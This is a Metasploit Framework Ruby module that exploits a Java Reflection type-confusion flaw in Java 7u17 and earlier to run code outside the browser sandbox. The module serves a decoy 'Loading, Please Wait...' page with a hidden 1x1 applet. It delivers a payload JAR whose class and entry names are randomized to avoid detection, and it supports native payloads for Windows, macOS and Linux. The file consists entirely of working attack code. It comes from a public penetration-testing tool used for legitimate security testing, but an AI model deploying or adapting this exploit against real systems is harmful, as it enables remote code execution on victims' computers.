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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Applet Reflection Type Confusion Remote Code Execution',
'Description' => %q{
This module abuses Java Reflection to generate a Type Confusion, due to a weak
access control when setting final fields on static classes, and run code outside of
the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This
exploit doesn't bypass click-to-play, so the user must accept the java warning in
order to run the malicious applet.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jeroen Frijters', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'URL', 'http://weblog.ikvm.net/PermaLink.aspx?guid=acd2dd6d-1028-4996-95df-efa42ac237f0' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuapr2013-1928497.html' ]
],
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 10 2013'
))
end
def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Exploit.class")
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Union1.class")
@union1_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "Union2.class")
@union2_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "jre7u17", "SystemClass.class")
@system_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
@exploit_class_name = rand_text_alpha("Exploit".length)
@exploit_class.gsub!("Exploit", @exploit_class_name)
super
end
def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")
case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("Union1.class", @union1_class)
jar.add_file("Union2.class", @union2_class)
jar.add_file("SystemClass.class", @system_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end
end
def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
html += %Q|</applet></body></html>|
return html
end
end
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